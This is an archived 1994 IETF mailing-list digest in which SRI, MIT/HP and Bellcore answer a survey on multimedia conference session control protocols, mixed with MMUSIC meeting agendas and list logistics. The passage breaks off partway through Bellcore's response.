8) Does your session control protocol rely on that protocol's model of
   transmission?  E.g., does it require reliable, ordered
   transmission or is multiparty state synchronization not a concern?

9) Briefly describe the addressing model, if any.  I.e., how are
   messages routed to peers?  Are they sent directly, are multicast
   groups used, is message content/registration used, or other?


Session Control Characteristics
-------------------------------

10) How are sessions are described?  What does a session description
    specify -- people, resources, scheduling information, etc.?
    Optionally, include an example session description.

11) Is the session description available and used outside of the
    context of the session control protocol?  If so, how
    (pre-scheduling, email-based initiation, etc.)?
		  
12) How is a session identified?  I.e., what is the session "handle"
    and to what extent is it globally unique?

13) Briefly describe the membership model and range of models
    supported.  Is the model open (potentially unknown participation
    and attendance -- lecture hall style), closed (well known and
    limited -- invitation only style), or other?

14) How are members named and/or identified?  Are email-style
    addresses used, numeric identifiers, etc.?

15) Briefly describe "what" is being controlled within a session.
    Does the protocol control routing, data flow (e.g., floor
    control, channel selection), reflectors, end-user applications,
    etc.?  Are these entities controlled in a centralized or
    distributed manner?

16) How is consensus achieved among parties exchanging this protocol?
    E.g., does initiator dictate policy, does a mismatch lead to
    failure, does negotiation occur when agreement can not be
    achieved?

17) What aspects of the conference are negotiable?  Members,
    protocols, data formats, resources, scheduling, policy, etc.?

18) What policies are implemented explicitly or implicitly (e.g., no
    latecomers permitted, only one video flow at a time, etc.)?  Is
    the choice of policy driven by system requirements, implementation
    constraints, resource limitations, etc?  Are the policies
    configurable?


Session Control Protocol Specifics
----------------------------------

19) What is the implementation status of the protocol (paper design,
    partially or fully implemented)?  What language was used to
    implement the protocol and how is it packaged (in a library,
    embedded in an application)?  Is the implementation freely
    available?

20) Describe, at a fairly high level, the basic directives of the
    protocol.  I.e., What are the protocol "commands" and what
    parameters are required?  If protocol uses a request-response model,
    indicate these pairs.  (If this information is contained in a
    publically-available paper or report, please provide a reference
    rather than detail here).

From owner-confctrl@ISI.EDU  Fri Nov 11 09:13:52 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA06890>; Fri, 11 Nov 1994 17:21:41 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA06886>; Fri, 11 Nov 1994 17:21:39 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA20207; Fri, 11 Nov 94 17:13:49 PST
Message-Id: <9411120113.AA20207@std.sri.com>
To: confctrl, rem-conf@es.net
Cc: tfrivold@std.sri.com, rlang@std.sri.com
Subject: SRI's Session Control Protocol Survey Response
Date: Fri, 11 Nov 1994 17:13:52 -0800
From: Ruth Lang <rlang@std.sri.com>


For both information and an example, the survey describing SRI's
Session Control Protocol is included below.

Thane J. Frivold
Ruth E. Lang
----------------------------------------------

Session Control Protocol Survey
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Protocol Name:    None currently
Point of Contact: Thane Frivold -- tfrivold@std.sri.com
                  Ruth Lang -- rlang@sri.com
                  SRI International
                  Augmented Collaborative Environments Group


General Description
-------------------

1) Between what components is the protocol used? 

	The protocol primarily flows between session managers. A
limited amount of control information flows between the session
manager and our shared workspace agents (XCPS).  All other media agent
control is limited to command line configuration.


2) Describe, at a fairly high level, the characteristics of session
   control that are key to your protocol.

	The protocol was originally implemented with an eye toward
process management as well as reconciling resource requirements and
capabilities in a heterogeneous environment.


3) Describe, at a fairly high level, the characteristics of session
   control that you do not care about or have (un)intentionally ignored. 

	Because we have not ever had a cross media agent requirement
for synchronized floor control, the protocol does not manage floor
control.  It is assumed to be a function of the media agents.

	Also, the session control protocol does not provide its own
transport reliability; that is assumed to be provided by a lower level
protocol.


General Protocol Characteristics
--------------------------------

4) Is the representation ASCII or binary?

	The protocol is ASCII.


5) Is the paradigm request/response (client/server model),
   peer-to-peer, or other?

	The model is peer-to-peer.  


6) Is it asymmetric or symmetric (e.g. do initiator's have special
   privileges or state information)?  Are all messages sent to all
   participants or are some sent to a subset?

	All peers are, at the protocol level, considered equal.  In
the future, we envision any asymmetry to occur because of an imposed
or negotiated "policy" for the session.  Operationally, most messages
are sent to all peers, but the protocol allows directing messages to
an arbitrary subset of peers.


7) What transport protocol is used (TCP, UDP, multicast)?  Does it
   make use of other protocols such as RTCP?

	The protocol currently uses TCP.


8) Does your session control protocol rely on that protocol's model of
   transmission?  E.g., does it require reliable, ordered
   transmission or is multiparty state synchronization not a concern?

	The protocol relies upon both the ordered and reliable
delivery of messages provided by TCP.


9) Briefly describe the addressing model, if any.  I.e., how are
   messages routed to peers?  Are they sent directly, are multicast
   groups used, is message content/registration used, or other?

	Messages are sent directly to peers, and thus can be addressed
by destination only.


Session Control Characteristics
-------------------------------

10) How are sessions are described?  What does a session description
    specify -- people, resources, scheduling information, etc.?
    Optionally, include an example session description.

	The current description format consists of a series of peer
(session manager hosts), participants (human usrs and their display
and execution hosts), and processes (media agents and/or
applications).  The basic format of each of these directives is:

  confConfig <conf ID> [add|delete] [peer|participant|process|cma] <arguments>

	A sample session description is:

  confConfig exampleConf add peers foo.com bar.com
  confConfig exampleConf add participant joe foo.com foo.com foo.com:0.0
  confConfig exampleConf add participant sue bar.com bar.com bar.com:0.0
  confConfig exampleConf add process audio vat -C "exampleconf" 224.23.45.67
  confConfig exampleConf add process textEdit emacs
  confConfig exampleConf add cma XCPS xcps -server unix:0.0

	
11) Is the session description available and used outside of the
    context of the session control protocol?  If so, how
    (pre-scheduling, email-based initiation, etc.)?

	The protocol is currently used to describe preconfigured
sessions which are stored and accessed through an HTTP server.
Current development includes incorporating MIME based initiation and,
eventually, general session and participant registration.

		  
12) How is a session identified?  I.e., what is the session "handle"
    and to what extent is it globally unique?

	The session ID is currently a text string and is globally
unique only by virtue of global coordination.


13) Briefly describe the membership model and range of models
    supported.  Is the model open (potentially unknown participation
    and attendance -- lecture hall style), closed (well known and
    limited -- invitation only style), or other?

	The environment assumes closed membership (often by invitation
only) sessions, at least as far as our shared workspace agent (XCPS)
goes.  The session manager can initiate arbitrary processes, so MBONE
style tools that support open membership can also be used.


14) How are members named and/or identified?  Are email-style
    addresses used, numeric identifiers, etc.?

	Participants are currently identified by a user name and an
X11 display; participant data is publically stored as properties on
each X11 display, thus creating a distributed database of information.
Current development is moving toward a "globally distributed, locally
centralized" model (a la DNS) so that email style addresses could
indicate both the individual and the administrative domain to contact
for the information.


15) Briefly describe "what" is being controlled within a session.
    Does the protocol control routing, data flow (e.g., floor
    control, channel selection), reflectors, end-user applications,
    etc.?  Are these entities controlled in a centralized or
    distributed manner?

	The protocol is basically centered around controlling processes
(configuration, invocation, and termination) and controlling our
shared workspace agent (configuring participants).  The processes are
all controlled in a distributed manner, although, through session
manager communication, certain user actions may be sent from a single
session manager to synchronize effects on the others.


16) How is consensus achieved among parties exchanging this protocol?
    E.g., does initiator dictate policy, does a mismatch lead to
    failure, does negotiation occur when agreement can not be
    achieved?

	Currently, a mismatch will lead to failure.


17) What aspects of the conference are negotiable?  Members,
    protocols, data formats, resources, scheduling, policy, etc.?

	At present, none.


18) What policies are implemented explicitly or implicitly (e.g., no
    latecomers permitted, only one video flow at a time, etc.)?  Is
    the choice of policy driven by system requirements, implementation
    constraints, resource limitations, etc?  Are the policies
    configurable?

	No explicit policy support is implemented; all peers are
considered equal and floor control is assumed to be handled by media
agents.  Also, because the session managers communicate under a closed
model, the protocol implicitly enforces a closed model policy on
membership.


Session Control Protocol Specifics
----------------------------------

19) What is the implementation status of the protocol (paper design,
    partially or fully implemented)?  What language was used to
    implement the protocol and how is it packaged (in a library,
    embedded in an application)?  Is the implementation freely
    available?

	The protocol is alive and kicking, albeit currently under
continued development.  The session manager is implemented in C, but
the ASCII protocol is written and interpreted by Tcl.  Most of the
"protocol" is implemented in Tcl, but certain low level primitives
have been added to extend the Tcl vocabulary, so the Tcl code is not
completely separable from the session manager.  The implementation is
not currently available


20) Describe, at a fairly high level, the basic directives of the
    protocol.  I.e., What are the protocol "commands" and what
    parameters are required?  If protocol uses a request-response model,
    indicate these pairs.  (If this information is contained in a
    publically-available paper or report, please provide a reference
    rather than detail here).

	The "logical" directives include the following commands:

#
# Usage: invite <from> <to> <conference> [<message>]
#

#
# Usage: decline <from> <to> <conference> [<excuse>]
#

#
# Usage: confDelete <conf>
#

#
# Usage: confExists <conf>
#

#
# Usage: confConfig <conf> <action> <type> <args>
#
# <action> = "add" | "delete"
# <type>   = "cma" | "process" | "participant" | "peers"
#
# <type>   = "cma" | "process"
#	     arg1 = <name>
#	     arg2 = <command>
#      NOTE: should also have indication of one/multiple instance/invocation
#
# <type>   = "participant"
#	     arg1 = <name>
#	     arg2 = <execution host>
#	     arg3 = <display host>
#	     arg4 = <X11 display>
#
# <type>   = "peers"
#	     arg1 .. argN = <ccmad peer list>
#

#
# Usage: confExec <conf> <type> <name>
#
# <type> = "cma" | "process"
# <name> = <name> (as defined in previous call to confConfig)
#

#
# Usage: confKill <conf> <type> <name>
#
# <type> = "cma" | "process"
# <name> = <name> (as defined in previous call to confConfig)
#

#
# Usage: confStopped <conf>
#

#
# Usage: confStart <conf> <type> <name> <initiator>
#
# <type> = "cma" | "process" 
# 

#
# Usage: confStop <conf> <type> <name> <terminator>
#
# <type> = "cma" | "process" 
#

From owner-confctrl@ISI.EDU  Tue Nov 15 03:07:50 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA20978>; Tue, 15 Nov 1994 11:18:06 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA20974>; Tue, 15 Nov 1994 11:18:04 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA04448; Tue, 15 Nov 94 11:07:55 PST
Message-Id: <9411151907.AA04448@std.sri.com>
To: keck@castor.trl.oz.au, schulzrinne@fokus.gmd.de
Cc: rem-conf@es.net, confctrl, tfrivold@std.sri.com, rlang@std.sri.com
Subject: Re: Session Control Protocol Survey for MMUSIC IETF 12/94 
Date: Tue, 15 Nov 1994 11:07:50 -0800
From: Ruth Lang <rlang@std.sri.com>


Brian and Henning,

The permission problem on
ftp://ws11.std.sri.com/pub/confctrl/glossary.txt has been fixed.
Thanks for bringing it to my attention.

Regards,

Ruth Lang

From owner-confctrl@ISI.EDU  Fri Nov 18 09:02:06 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA23623>; Fri, 18 Nov 1994 17:10:36 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA23619>; Fri, 18 Nov 1994 17:10:35 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA20342; Fri, 18 Nov 94 17:02:03 PST
Message-Id: <9411190102.AA20342@std.sri.com>
To: confctrl, rem-conf@es.net
Cc: rlang@std.sri.com
Subject: MMUSIC meeting and Session Control Surveys
Date: Fri, 18 Nov 1994 17:02:06 -0800
From: Ruth Lang <rlang@std.sri.com>


Today I received email from Megan Walnut stating that a room large
enough for the MMUSIC meeting is not available Thursday 9:30a - noon.
We are coordinating with Megan on the room availability, and Allison
Mankin on her schedule in order to choose another time.  Please stay
tuned.  I will send email as soon as the meeting has an official time
slot.

Keep those survey response forms coming!  Two completed surveys (CCCP
and SRI) are in both ftp://venera.isi.edu/confctrl/surveys and
ftp://ws11.std.sri.com/pub/confctrl/surveys.  Feel free to take a look
at them as you put together your response which will be key in helping
us form requirements for both a general session description and
control protocol.

Regards,

Ruth



From owner-confctrl@ISI.EDU  Tue Nov 22 08:30:17 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA21145>; Tue, 22 Nov 1994 16:39:20 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA21141>; Tue, 22 Nov 1994 16:39:19 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA18815; Tue, 22 Nov 94 16:30:15 PST
Message-Id: <9411230030.AA18815@std.sri.com>
To: confctrl, rem-conf@es.net
Cc: tfrivold@std.sri.com, rlang@std.sri.com
Subject: MMUSIC has been scheduled
Date: Tue, 22 Nov 1994 16:30:17 -0800
From: Ruth Lang <rlang@std.sri.com>


for Wednesday, December 7, 16:00 - 18:00.  We plan to distribute a
draft agenda tomorrow (Wednesday).  Please contact me if you would
like to make a presentation.

Ruth

p.s. This session will be multicast.

From owner-confctrl@ISI.EDU  Wed Nov 23 06:04:28 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA00901>; Wed, 23 Nov 1994 14:13:29 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA00897>; Wed, 23 Nov 1994 14:13:24 -0800
Received: from churchy (churchy.std.sri.com) by std.sri.com (4.1/SMI-4.1)
	id AA22234; Wed, 23 Nov 94 14:04:28 PST
Date: Wed, 23 Nov 94 14:04:28 PST
From: rlang@std.sri.com (Ruth Lang)
Message-Id: <9411232204.AA22234@std.sri.com>
Received: by churchy (4.1/SMI-4.1)
	id AA26663; Wed, 23 Nov 94 14:04:26 PST
To: confctrl, rem-conf@es.net
Cc: tfrivold@std.sri.com, rlang@std.sri.com
Subject: MMUSIC Draft Agenda

Folks,

Enclosed is a draft agenda for the upcoming MMUSIC meeting.  The first
hour will focus on presentations of related and ongoing work.  Joerg,
Abel, and Ted: please send email to the group indicating what
documents are relevant as background reading material for your
presentations.

The emphasis of the second hour will be on directed discussion.  I.e.,
come with your opinions and be prepared to speak up!  As background
for the 4th agenda item, review survey responses available at
ftp://venera.isi.edu/confctrl/surveys and
ftp://ws11.std.sri.com/pub/confctrl/surveys.  In preparation for the
last agenda item, please obtain the working group charter and review
it.  The "Goals and Milestones" section is out of date.  What work and
associated documents do you think this group should do/produce?  What
can you commit to working on?  Discussion in advance of the meeting is
welcome.

Please send comments on the agenda or in general to confctrl@isi.edu.

Regards,

Ruth
-----------------------------------------------------------

MMUSIC Working Group Meeting
Wednesday, December 7, 1994
16:00-18:00


16:00-16:05	Meeting Overview and Agenda Review (Ruth Lang, SRI)

16:05-16:15	ITU Generic Conference Control Update
		(Joerg Ott, Technical University of Berlin)

16:15-17:00	Progress on Agreement Protocol
		(Abel Weinrib, Intel and Ted Ko, MIT/Bellcore)

17:00-17:20	Session Protocol Functional Requirements and Survey Report
		(Thane Frivold, SRI and Ruth Lang, SRI)

17:20-17:45	Session Description Functional Requirements
		(Mark Handley, UCL, Thane Frivold, SRI, and Ruth Lang, SRI) 

17:45-18:00	Discussion of Working Group Direction and Charter Modification
		(Thane Frivold, SRI and Ruth Lang, SRI)

From owner-confctrl@ISI.EDU  Mon Nov 28 08:38:03 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA02057>; Mon, 28 Nov 1994 10:39:53 -0800
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-19)
	id <AA02042>; Mon, 28 Nov 1994 10:39:39 -0800
Received: from delft.lcs.mit.edu by quark.isi.edu (5.65c/5.61+local-18)
	id <AA19783>; Mon, 28 Nov 1994 10:39:30 -0800
Received: (from lew@localhost) by delft.LCS.MIT.EDU (8.6.9/8.6.9) id NAA16827; Mon, 28 Nov 1994 13:38:03 -0500
Date: Mon, 28 Nov 1994 13:38:03 -0500
From: Kevin Lew <lew@delft.LCS.MIT.EDU>
Message-Id: <199411281838.NAA16827@delft.LCS.MIT.EDU>
To: confctrl, rlang@sri.com, tfrivold@std.sri.com
Subject: Session Control Protocol Survey
Cc: janey@scotch.LCS.MIT.EDU


To whom it may concern:
	The following are answers to your survey questions about our session
control protocol, AVCCP.

---------------
Session Control Protocol Survey
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Name of the Protocol:  Audio and Video Conferencing Control Protocol (AVCCP) 
Technical point(s) of contact including email address(es):
    Kevin Lew (lew@amsterdam.lcs.mit.edu)
    Janey Hoe (janey@scotch.lcs.mit.edu)

Current organization affiliation:
    MIT Laboratory for Computer Science
Organization affiliation where work was conducted:
    Hewlett-Packard Laboratories
    Media Technology Lab

General Description
-------------------

1) Between what components is the protocol used?  I.e., between media
   agents, between session managers, session manager to media agent,
   or other.

   We refer to a session manager and media agent collectively as a client.
   We refer to a resource manager as a conference server.
   AVCCP is used between a central resource manager and multiple
   session managers/media agents and between two resource managers.

2) Describe, at a fairly high level, the characteristics of session
   control that are key to your protocol.  I.e., what is the protocol
   trying to achieve and what special problems does it solve.  E.g.,
   process coordination, resource negotiation, media synchronization,
   floor control, topology management, etc.

   AVCCP was designed to place the burden of computation on resource
   managers rather than on session managers/media agents.  Thus, resource
   managers can run on machines with high processing speed, whereas
   session managers/media agents can run on slower computers, such as
   handheld devices.  AVCCP provides floor control mechanisms (as opposed
   to policies), process coordination, and resource negotiation.

3) Describe, at a fairly high level, the characteristics of session
   control that you do not care about or have (un)intentionally
   ignored.  See examples in 3.

   None.

General Protocol Characteristics
--------------------------------

4) Is the representation ASCII or binary?

   Control packets in AVCCP have both ASCII and binary fields.

5) Is the paradigm request/response (client/server model),
   peer-to-peer, or other?

   AVCCP uses a client-server paradigm.

6) Is it asymmetric or symmetric (e.g. do initiator's have special
   privileges or state information)?  Are all messages sent to all
   participants or are some sent to a subset?

   In general, AVCCP is symmetric.  However, since it provides mechanisms
   for floor control, it can be viewed as being asymmetric if an application
   implements a policy that uses these mechanisms to give a participant
   special privileges.

   Whether messages are sent to all or some participants depends on the
   service being used.

7) What transport protocol is used (TCP, UDP, multicast)?  Does it
   make use of other protocols such as RTCP?

   Our current implementation of AVCCP is built on top of TCP.  It does
   not use any other protocols.

8) Does your session control protocol rely on that protocol's model of
   transmission?  E.g., does it require reliable, ordered
   transmission or is multiparty state synchronization not a concern?

   AVCCP relies on reliable, ordered transmission.

9) Briefly describe the addressing model, if any.  I.e., how are
   messages routed to peers?  Are they sent directly, are multicast
   groups used, is message content/registration used, or other?

   In our current implementation, AVCCP sends messages directly to
   session managers/media agents and resource managers.  For some
   services, multicasting messages can be performed; however, in the current
   implementation, no multicasting is used.  (For naming and addressing,
   see questions 12 and 14.)

Session Control Characteristics
-------------------------------

10) How are sessions are described?  What does a session description
    specify -- people, resources, scheduling information, etc.?
    Optionally, include an example session description.

    A session is uniquely identified by a title.  In our current
    implementation, a machine address and port number are associated with
    the title.  A session description also specifies all participants.

11) Is the session description available and used outside of the
    context of the session control protocol?  If so, how
    (pre-scheduling, email-based initiation, etc.)?

    Yes, the session description is stored in a directory server, which
    registers resource managers and session managers/media agents.
		  
12) How is a session identified?  I.e., what is the session "handle"
    and to what extent is it globally unique?

    The protocol specifies that a session must be uniquely identified
    by an ID.  In our current implementation, a session is uniquely
    identified by a title, which has a machine address and port number
    associated with it.

13) Briefly describe the membership model and range of models
    supported.  Is the model open (potentially unknown participation
    and attendance -- lecture hall style), closed (well known and
    limited -- invitation only style), or other?

    AVCCP provides the mechanisms that can be used for both the open
    and closed membership models.

14) How are members named and/or identified?  Are email-style
    addresses used, numeric identifiers, etc.?

    AVCCP specifies that a participant must be uniquely identified by an ID.
    In our current implementation, a participant is uniquely identified
    by a user-specified name, which has a machine address and port number
    associated with it.  Thus, two participants with the same login
    and machine name can participate in a session, as long as the two
    participants use different names.  The directory server is responsible
    for ensuring that duplicate participant names do not occur.

15) Briefly describe "what" is being controlled within a session.
    Does the protocol control routing, data flow (e.g., floor
    control, channel selection), reflectors, end-user applications,
    etc.?  Are these entities controlled in a centralized or
    distributed manner?

    AVCCP controls resource managers and session managers/media agents
    in a distributed manner.

16) How is consensus achieved among parties exchanging this protocol?
    E.g., does initiator dictate policy, does a mismatch lead to
    failure, does negotiation occur when agreement can not be
    achieved?

    AVCCP provides mechanisms for session control, and leaves it up to the
    application to implement policies that use these mechanisms.  For
    example, to achieve consensus, an application can implement the
    Paxos algorithm (L. Lamport. "The Part-Time Parliament."  Digital
    Equipment Corp. Systems Research Center, Technical Report 49, September
    1989.)

17) What aspects of the conference are negotiable?  Members,
    protocols, data formats, resources, scheduling, policy, etc.?

    One of the services of AVCCP is dynamically configuring a client's
    reception characteristics of audio and video data.  The service
    is implemented by having the resource manager and the session manager/
    media agent that the participant uses negotiate session parameters.

18) What policies are implemented explicitly or implicitly (e.g., no
    latecomers permitted, only one video flow at a time, etc.)?  Is
    the choice of policy driven by system requirements, implementation
    constraints, resource limitations, etc?  Are the policies
    configurable?

    Again, AVCCP provides mechanisms that can be used by an application
    to implement policies.

Session Control Protocol Specifics
----------------------------------

19) What is the implementation status of the protocol (paper design,
    partially or fully implemented)?  What language was used to
    implement the protocol and how is it packaged (in a library,
    embedded in an application)?  Is the implementation freely
    available?

    We implemented a subset of AVCCP's services in C.  It is packaged in
    a library.  We also implemented an audio conferencing application that
    uses this prototype implementation of AVCCP on HP workstations with
    audio hardware.  These implementations are available upon request.

20) Describe, at a fairly high level, the basic directives of the
    protocol.  I.e., What are the protocol "commands" and what
    parameters are required?  If protocol uses a request-response model,
    indicate these pairs.  (If this information is contained in a
    publically-available paper or report, please provide a reference
    rather than detail here).

    Please contact the authors for a paper that defines AVCCP, describes
    the prototype implementation, and describes the audio application that
    uses the prototype implementation.


From owner-confctrl@ISI.EDU  Tue Nov 29 09:06:20 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA07269>; Tue, 29 Nov 1994 01:08:32 -0800
Received: from gate.demon.co.uk by venera.isi.edu (5.65c/5.61+local-19)
	id <AA07265>; Tue, 29 Nov 1994 01:08:27 -0800
Received: from axon.demon.co.uk by gate.demon.co.uk id aa00610;
          29 Nov 94 9:05 GMT
Received: by axon.com (4.1/SMI-4.1)
	id AA19497; Tue, 29 Nov 94 09:06:20 GMT
Date: Tue, 29 Nov 94 09:06:20 GMT
From: Pete Sykes <pete@axon.com>
Message-Id: <9411290906.AA19497@axon.com>
To: confctrl
Subject: remove


Sorry to post this to the list but several times over the last year
I've posted to confctrl-request with a remove request and nothing happens

Please remove "pete@icbl.hw.ac.uk" from the list. 

Note this is a common problem in mail lists - maybe conf control should
take on board such mundane issues such as the difficulty of using automatic
mailers after a change of address. When the research funding went I left
HW university and I'm just an entry in an alias file there now. If the 
mailer doesn't accept remove requests for address other than my own and my
new address is not on the list - I can't remove myself. It's been almost 
a year now since I asked to be removed  I keep on getting mail (Not a lot just 
1 or 2 a month with big gaps)  All very nice and it is good and interesting
work but not relevant to me now.  Please can someone edit  the list files.

Ta

Pete Sykes


From owner-confctrl@ISI.EDU  Wed Nov 30 09:14:00 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA13969>; Wed, 30 Nov 1994 17:14:35 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA13962>; Wed, 30 Nov 1994 17:14:27 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA13924; Wed, 30 Nov 94 17:13:57 PST
Message-Id: <9412010113.AA13924@std.sri.com>
To: confctrl, rem-conf@es.net
Cc: tfrivold@std.sri.com, rlang@std.sri.com
Subject: MMUSIC Agenda
Date: Wed, 30 Nov 1994 17:14:00 -0800
From: Ruth Lang <rlang@std.sri.com>


Folks,

Enclosed is a near final agenda.  I will send it for redistribution
via ietf-announce tomorrow morning, so please send any updates or
comments to me on it by then.

Please note and read the 6 session control survey responses received
(see either ftp://venera.isi.edu/confctrl/surveys or
ftp://ws11.std.sri.com/pub/confctrl/surveys).  Also, if you haven't
yet sent your response, please do for posting to these two ftp sites.

Regards,

Ruth
----------------------------------

MMUSIC Working Group Meeting
Wednesday, December 7, 1994
16:00-18:00


16:00-16:05	Meeting Overview and Agenda Review (Ruth Lang, SRI)

16:05-16:15	ITU Generic Conference Control Update
		(Joerg Ott, Technical University of Berlin)

16:15-17:00	Progress on Agreement Protocol
		(Abel Weinrib, Intel and Ted Ko, MIT/Bellcore)

17:00-17:25	Session Protocol Functional Requirements Discussion

		   - Survey Report
		     (Thane Frivold, SRI and Ruth Lang, SRI)

		   - Requirements for Horizontal and Vertical Conference 
		     Control Protocols
		     (Carsten Bormann, U. of Bremen,
		     Joerg Ott, Technical University of Berlin)

17:25-17:45	Session Description Functional Requirements Discussion
		(Mark Handley, UCL, Thane Frivold, SRI, and Ruth Lang, SRI) 

17:45-18:00	Discussion of Working Group Direction and Charter Modification 
		(Thane Frivold, SRI and Ruth Lang, SRI)
	

From owner-confctrl@ISI.EDU  Thu Dec  1 13:41:50 1994
Received: by venera.isi.edu (5.65c/5.61+local-19)
	id <AA02144>; Thu, 1 Dec 1994 15:42:12 -0800
Received: from faline.bellcore.com by venera.isi.edu (5.65c/5.61+local-19)
	id <AA02137>; Thu, 1 Dec 1994 15:42:03 -0800
Received: (from coan@localhost) by faline.bellcore.com (8.6.9/8.6.6) id SAA04353; Thu, 1 Dec 1994 18:41:50 -0500
Date: Thu, 1 Dec 1994 18:41:50 -0500
From: coan@faline.bellcore.com (Brian Coan)
Message-Id: <199412012341.SAA04353@faline.bellcore.com>
To: confctrl, rlang@sri.com, tfrivold@std.sri.com
Subject: Reply to Session Control Protocol Survey

Session Control Protocol Survey
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Name of the Protocol (if any)

The protocol is part of the Touring Machine system (Touring Machine is a
trademark of Bellcore).  The protocol itself does not have a name.

Technical point(s) of contact including email address(es)
and organization affiliation

R. C. Sekar  sekar@faline.bellcore.com  Bellcore
Brian Coan   coan@thumper.bellcore.com  Bellcore

General Description
-------------------

1) Between what components is the protocol used?  I.e., between media
   agents, between session managers, session manager to media agent,
   or other.

The protocol operates between conference session managers and network-resident
session control software.

2) Describe, at a fairly high level, the characteristics of session
   control that are key to your protocol.  I.e., what is the protocol
   trying to achieve and what special problems does it solve.  E.g.,
   process coordination, resource negotiation, media synchronization,
   floor control, topology management, etc.

The protocol enables the conference session managers for a collection of
prospective conferees to negotiate and reach an agreement for the sharing
of resources for a conference.  Topics of negotiation include session
membership, resources to be allocated to the session, and policies for
future session changes.  The network-resident session control software
mediates the negotiation and enforces the agreement.

3) Describe, at a fairly high level, the characteristics of session
   control that you do not care about or have (un)intentionally
   ignored.  See examples in 3.

None.


General Protocol Characteristics
--------------------------------

4) Is the representation ASCII or binary?

In the present implementation, communication between conference session
managers and the network-resident session control software is in Lisp-like
ascii messages.  This choice of representation is not fundamental.

5) Is the paradigm request/response (client/server model),
   peer-to-peer, or other?

In the present implementation, communication is via asynchronous messages.
We have a paper design for the same protocol using binary RPCs.  In this
design RPCs are initiated at some times by conference session managers and
at other times by the network-resident session control software.

6) Is it asymmetric or symmetric (e.g. do initiator's have special
   privileges or state information)?  Are all messages sent to all
   participants or are some sent to a subset?

Whether it's symmetric or asymmetric is determined by the policy for the
current session.  Similarly, which participants get certain messages is
determined by policy.  The policy is one of the things that is the subject
of negotiation.  The initial negotiation at session establishment is symmetric.

7) What transport protocol is used (TCP, UDP, multicast)?  Does it
   make use of other protocols such as RTCP?

The present implementation uses customized messaging software that operates
on top of either TCP or UDP.  Currently TCP is used for the session control
protocol.

8) Does your session control protocol rely on that protocol's model of
   transmission?  E.g., does it require reliable, ordered
   transmission or is multiparty state synchronization not a concern?

The session control protocol relies on reliable message delivery.

9) Briefly describe the addressing model, if any.  I.e., how are
   messages routed to peers?  Are they sent directly, are multicast
   groups used, is message content/registration used, or other?

A directory service is used to map prospective participants to IP addresses.


Session Control Characteristics
-------------------------------

10) How are sessions described?  What does a session description
    specify -- people, resources, scheduling information, etc.?
    Optionally, include an example session description.

Sessions are described as Lisp-like S-expressions.  The description includes
participants, policies, and resources.  Session scheduling is not directly
supported as a part of the session control protocol.

11) Is the session description available and used outside of the
    context of the session control protocol?  If so, how
    (pre-scheduling, email-based initiation, etc.)?

A summary description of the session may be registered in a directory server,
allowing new participants to request to join.
		  
12) How is a session identified?  I.e., what is the session "handle"
    and to what extent is it globally unique?

In the present implementation an ad hoc session name is used.

13) Briefly describe the membership model and range of models
    supported.  Is the model open (potentially unknown participation
    and attendance -- lecture hall style), closed (well known and
    limited -- invitation only style), or other?

How open the membership model is depends on policy.  Current policies include
public and private sessions.  If the session is private, then the membership
is closed (the members know each other and joining is by invitation only).
If the session is public, then the membership is partially open
(the members still know each other but anyone can request to join).

14) How are members named and/or identified?  Are email-style
    addresses used, numeric identifiers, etc.?

Within the session protocol members are known by email-style addresses.
At the user interface members are known by the person's real name.

15) Briefly describe "what" is being controlled within a session.
    Does the protocol control routing, data flow (e.g., floor
    control, channel selection), reflectors, end-user applications,
    etc.?  Are these entities controlled in a centralized or
    distributed manner?

The session protocol controls the allocation of shared resources and it
controls session policies which in turn control how session changes are
made.  In general routing is not explicitly controlled.  Floor control
is not a session control primitive, but a variety of floor-control policies
are expressible using the general policy mechanism.  The network-resident
session control software is logically centralized but could have either a
centralized or distributed implementation.  The current implementation is
centralized.

16) How is consensus achieved among parties exchanging this protocol?
    E.g., does initiator dictate policy, does a mismatch lead to
    failure, does negotiation occur when agreement can not be
    achieved?

The initiator of the session or the proposer of a session change makes
a proposal.  Should the proposal be agreed to by a sufficient collection
of session participants it is implemented; otherwise it is abandoned.
In the present implementation unanimity is required for a session change
to be adopted.  We have a paper design in which session policy determines
the requirement for a session change to be adopted.

17) What aspects of the conference are negotiable?  Members,
    protocols, data formats, resources, scheduling, policy, etc.?

Membership, resources, and policy are negotiable.  Data formats and
scheduling are not presently negotiable.

18) What policies are implemented explicitly or implicitly (e.g., no
    latecomers permitted, only one video flow at a time, etc.)?  Is
    the choice of policy driven by system requirements, implementation
    constraints, resource limitations, etc?  Are the policies
    configurable?

New members can be added at any time.  In private sessions the proposal
to add a new member must be made by an existing member.  In public sessions
the proposal to add a new member may be made either by an existing member
or by the new member.

New members must consent before they are added to a session.

Session policies are negotiated by session members.


Session Control Protocol Specifics
----------------------------------

19) What is the implementation status of the protocol (paper design,
    partially or fully implemented)?  What language was used to
    implement the protocol and how is it packaged (in a library,
    embedded in an application)?  Is the implementation freely
    available?

The session control protocol is implemented in a research prototype and
